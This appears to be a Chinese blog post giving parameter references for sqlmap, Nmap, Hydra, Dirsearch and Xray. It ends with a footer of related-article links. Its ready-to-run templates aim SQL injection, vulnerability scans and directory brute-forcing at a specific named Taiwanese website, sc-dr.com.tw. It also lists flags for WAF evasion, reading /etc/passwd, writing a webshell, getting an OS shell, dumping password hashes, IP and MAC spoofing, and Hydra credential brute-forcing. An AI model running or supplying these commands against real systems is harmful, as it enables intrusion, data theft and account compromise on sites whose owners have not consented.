渗透主流工具完整参数手册(sqlmap、Nmap、Hydra、Dirsearch、Xray)

一、SQLmap(注入专用,完整复刻之前深度结构)

1. 请求定位参数

表格

参数 功能说明
-u "URL" 指定 GET 注入目标地址
-r req.txt 加载抓包文件,适配 POST 复杂请求,替代 - u
-p 参数名 锁定单个注入参数,多参数逗号分隔-p id,type
--cookie="k=v" 携带 Cookie,用于 Cookie 型注入
--random-agent 随机 UA 防封禁拦截
--referer="url" 自定义来路 Referer 请求头
--headers="X-Forwarded-For:127.0.0.1" 自定义额外请求头

2. 扫描强度 & 合规安全(SRC 必配)

表格

参数 功能说明
--batch 全自动应答 y/n,无需手动交互
--level 3 扫描等级 1-5,3 覆盖 GET/POST/Cookie/ 请求头
--risk 2 风险等级 1-3,仅查询、写入载荷,无删库破坏操作
--threads=3 3 低速线程,不压垮服务器,平台审核友好
--time-sec=8 时间盲注延迟 8 秒,减少网络误判
--delay=0.5 发包间隔 0.5s,极致低速规避 WAF
--no-privileges 禁止自动数据库提权,降低恶意判定
--no-multi 关闭堆叠多语句 SQL,杜绝删改数据风险

3. 网络环境适配(境外 / HTTPS / 代理)

表格

参数 功能说明
--proxy=http://127.0.0.1:7890 HTTP 代理访问境外站点
--proxy=socks5://127.0.0.1:1080 SOCKS5 代理
--timeout=10 请求超时 10 秒,适配慢响应海外服务器
--ignore-ssl-errors=true 忽略 HTTPS 证书过期、自签报错

4. 注入类型手动控制

表格

参数 功能说明
--technique=BEUSTQ 指定注入类型:B 布尔 / E 报错 / U 联合 / S 堆叠 / T 时间 / Q 内联;例--technique=BE只跑报错 + 布尔
--union-cols=10 联合查询手动设置字段数,自动探测失效使用

5. WAF 绕过

表格

参数 功能说明
--tamper=脚本1,脚本2 载荷变形绕过,常用脚本:space2comment、randomcase、unmagicquotes、charencode、equaltorlike

6. 数据库数据读取指令

表格

参数 功能说明
--dbs 枚举全部数据库名称
-D 库名 --tables 查询指定库内所有数据表
-D 库名 -T 表名 --dump 导出整张表完整数据
--current-user 查看数据库连接账号
--password 读取数据库账号密码哈希
--sql-shell 交互式 SQL 终端,手动执行语句

7. 高权限文件 / 系统操作(仅授权环境)

表格

参数 功能说明
--file-read="/etc/passwd" 读取服务器本地敏感文件
--file-write="本地文件" --file-dest="/www/shell.php" 写入 Webshell 木马
--os-shell 获取服务器系统交互式命令行

8. 日志缓存存证(漏洞报告)

表格

参数 功能说明
-o 精简优化日志输出
--output-dir="./scan_log" 日志、返回包、dump 数据统一存入文件夹
--dump-format=csv 数据表导出为 CSV 格式
--flush-session 清空历史缓存,全新重扫
--session="session.txt" 保存扫描会话,中断后续跑

实战模板(台湾站点 GET 注入)

bash

复制代码
python sqlmap.py -u "http://sc-dr.com.tw/content-detail.php?type=3&id=8589" -p id --batch --random-agent --level 3 --risk 2 --threads=3 --time-sec=8 --timeout=10 --proxy=http://127.0.0.1:7890 --ignore-ssl-errors=true --output-dir="./scdr_log" --no-privileges

二、Nmap 端口 & 资产扫描(完整扩充全量常用参数)

1. 目标与存活探测

表格

参数 功能说明
192.168.1.1 / domain.com 单 IP / 域名扫描
192.168.1.0/24 扫描整个 C 段网段
-iL ip_list.txt 批量加载 IP 列表
-sn 仅存活 Ping 探测,不扫描端口
-Pn 强制跳过存活检测,防火墙禁 Ping 必加
-PE 标准 ICMP Ping
-PS80,3306 TCP SYN Ping,向开放常用端口探测存活
-PU53 UDP Ping(DNS/SNMP)
-n 关闭 DNS 反向解析,大幅提速;-R强制反向解析
--dns-servers 8.8.8.8 自定义解析 DNS 服务器

2. TCP 扫描模式(隐蔽度区分)

表格

参数 功能说明
-sS 半开 SYN 扫描(root 权限,痕迹轻、速度快)
-sT 全连接 TCP 扫描(无 root 默认使用,日志完整)
-sA ACK 扫描,判断防火墙过滤规则
-sN/-sF/-sX 空标志 / FIN/Xmas 隐蔽扫描,绕过简单防火墙
-sW 窗口扫描,依靠 TCP 窗口判断端口开闭

3. 端口自定义配置

表格

参数 功能说明
-p 80,443,3306 指定单独端口
-p 1-1000 端口区间扫描
-p- 全端口 1~65535 扫描
--top-ports=20 仅扫描 20 个最高危常用端口
-F 快速精简端口列表,速度更快
--exclude-ports 135,445 排除指定 Windows 高危端口
--exclude 192.168.1.10 网段扫描排除单个 IP
-p U:53,T:80 区分 UDP/TCP 端口扫描

4. 版本、系统、脚本探测

表格

参数 功能说明
-sV 开启服务版本识别
-O 操作系统指纹识别
-A 全能组合:-O -sV --script=vuln,discovery --traceroute
--script=vuln 漏洞 CVE 检测脚本库
--script=auth 弱口令爆破脚本
--script=discovery 目录、子域名、后台路径探测
--script=单个CVE --script=http-vuln-cve2017-5638单独漏洞检测
--script-args user=admin,pass=123 给爆破脚本传入账号密码参数
--script-trace 打印脚本完整收发数据包
--script-updatedb 更新 nmap 脚本库
--script=!vuln 排除某一类脚本

5. 速度、并发、超时精细调控

表格

参数 功能说明
-T0~T5 速度档位:T0/T1 极隐蔽;T2 合规 SRC 首选;T3 默认;T4/T5 高速暴力易封 IP
--min-hostgroup=2 --max-hostgroup=5 并行扫描主机数量限制
--min-parallelism=1 --max-parallelism=10 端口探测并发限制
--max-rtt-timeout=2000ms 数据包往返超时,境外调大数值
--host-timeout=10s 单主机扫描 10 秒无结果直接跳过

6. 防火墙 / WAF 伪装绕过

表格

参数 功能说明
-f 8 字节数据包分片;--mtu 16自定义分片(必须 8 倍数)
-D IP1,IP2,ME 诱饵 IP 扫描,ME 为本机真实 IP
-S 伪造IP -e eth0 伪造源 IP 发包
--src-port 53 伪装 DNS 源端口
--spoof-mac 00:11:22:33:44:55 伪造 MAC 地址(内网欺骗)
--randomize-hosts 打乱主机扫描顺序,规避批量探测识别

7. 输出日志与筛选

表格

参数 功能说明
-oN scan.txt 标准文本日志
-oX scan.xml XML 格式,可导入漏洞平台工具
-oG grep.txt grep 单行格式,方便管道筛选开放端口
-oS report.html 可视化 HTML 报告
-v / -vv 详细 / 超详细输出;-d调试模式
--open 只打印开放端口,过滤 closed/filtered
--stats 10 每 10 秒输出扫描进度

8. 拓展特殊功能

表格

参数 功能说明
-6 启用 IPv6 资产扫描
--traceroute 路由追踪,定位防火墙边界节点
-V/--version 查看 Nmap 版本
-h 完整帮助文档

合规低速扫描模板

bash

复制代码
nmap -Pn -T2 -sV --script=vuln,discovery --max-rtt-timeout=2000ms --open sc-dr.com.tw -oG nmap_log.txt

三、Hydra 弱口令爆破工具

1. 基础账号密码配置

表格

参数 功能说明
-l admin 单个固定用户名
-L user.txt 加载用户名字典文件
-p 123456 单个固定密码
-P pass.txt 加载密码字典文件
ssh://ip / ftp://ip / mysql://ip 协议 + 目标 IP,支持 ssh/ftp/mysql/mssql/rdp/http-form

2. Web 表单 POST 爆破专属

表格

参数 功能说明
http-post-form POST 表单爆破模式
"/login.php:user=^USER^&pwd=^PASS^:F=密码错误" 格式:页面:参数占位符:失败提示关键词

3. 线程、输出、多目标

表格

参数 功能说明
-t 4 并发线程 4,低速防账号锁定
-vV 打印每一条爆破尝试详情
-o ok.txt 导出爆破成功账号密码
-s 3306 手动指定非默认服务端口
-M ip_list.txt 批量多 IP 同时爆破

模板示例

bash

复制代码
# SSH爆破
hydra -L user.txt -P pass.txt -t 4 -vV -o ssh_success.txt ssh://192.168.1.1
# 网站登录表单
hydra -L user.txt -P pass.txt -t 4 http-post-form "/login.php:username=^USER^&password=^PASS^:F=登录失败" 127.0.0.1

四、Dirsearch 目录 / 备份文件扫描

1. 目标、字典、后缀

表格

参数 功能说明
-u https://xxx.com 单个目标 URL
-l url.txt 批量 URL 列表
-w dict.txt 自定义目录字典
-e php,html,txt,bak,sql,zip 扫描文件后缀,备份文件重点探测

2. 防封禁限速配置

表格

参数 功能说明
-t 8 并发线程 8,公网不建议超过 10
--delay=0.3 每次请求间隔 0.3 秒
--random-agent 随机浏览器 UA

3. 身份认证携带

表格

参数 功能说明
--cookie="PHPSESSID=xxxx" 携带登录 Cookie 扫描授权后台
-H "Authorization: Basic YWRtaW46MTIz" 基础认证请求头

4. 过滤、结果输出

表格

参数 功能说明
-x 404,403 过滤 404、403 状态码,只展示有效页面
-o dir_result.txt 保存扫描结果
--full-url 输出完整可访问 URL 链接

实战模板

bash

复制代码
python3 dirsearch.py -u http://sc-dr.com.tw -e php,bak,sql,zip -t 8 --random-agent -o dir_log.txt -x 404,403

五、Xray 综合漏洞扫描器(国内挖洞主流)

1. 扫描模式与目标

表格

参数 功能说明
webscan --url http://xxx.com 单站点 Web 漏洞扫描
webscan --list urls.txt 批量 URL 扫描
servicescan 192.168.1.1 端口服务漏洞探测

2. 扫描强度与插件控制

表格

参数 功能说明
--level 3 扫描等级 1~5,3 平衡检出率与速度
--risk 2 风险等级,无破坏性攻击载荷
--plugins sqli,xss,upload,ssrf 仅启用指定漏洞插件

3. 网络、代理、伪装

表格

参数 功能说明
--proxy http://127.0.0.1:7890 代理访问境外站点
--cookie "PHPSESSID=xxx" 全局携带 Cookie
--ua "Mozilla/5.0 Chrome" 自定义 UA 头
--delay 300 发包间隔 300 毫秒,防 WAF 拦截

4. 漏洞报告输出

表格

参数 功能说明
--html report.html 生成可视化 HTML 漏洞报告
--json result.json 结构化 JSON 数据,方便归档

站点扫描模板

bash

复制代码
xray webscan --url http://sc-dr.com.tw --level 3 --risk 2 --proxy http://127.0.0.1:7890 --html xray_report.html
相关推荐
芒鸽1 小时前
HarmonyOS 网络编程实战:HTTP、WebSocket 与 Socket 通信详解
网络·http·harmonyos
CJH(本人账号)1 小时前
上线仅72小时被强制下架:Claude Fable 5 的短命
人工智能·安全·语言模型
problc2 小时前
用 JavaScript 打开中国的版式文档:@sharp9/ofdjs 诞生记
开发语言·javascript·ecmascript
kang0x02 小时前
将一个通用 DAG 探索引擎迁移到 Flocks:CTF 回归测试全记录
安全
李白的天不白3 小时前
http https
网络协议·http·https
果丁智能10 小时前
智能锁赋能网约房民宿数字化管控:身份核验+远程授权,筑牢安全防线、降本增效
网络·数据库·人工智能·安全·智能家居
云安全助手11 小时前
Anthropic年度报告解读:AI重塑网络攻击形态,传统防御体系亟待升级
人工智能·安全·网络安全·ai大模型
dsyyyyy110111 小时前
JavaScript变量
开发语言·javascript·ecmascript
kyriewen11 小时前
手写 Promise.all、race、any:不到 30 行代码,解决并发异步的所有姿势
前端·javascript·面试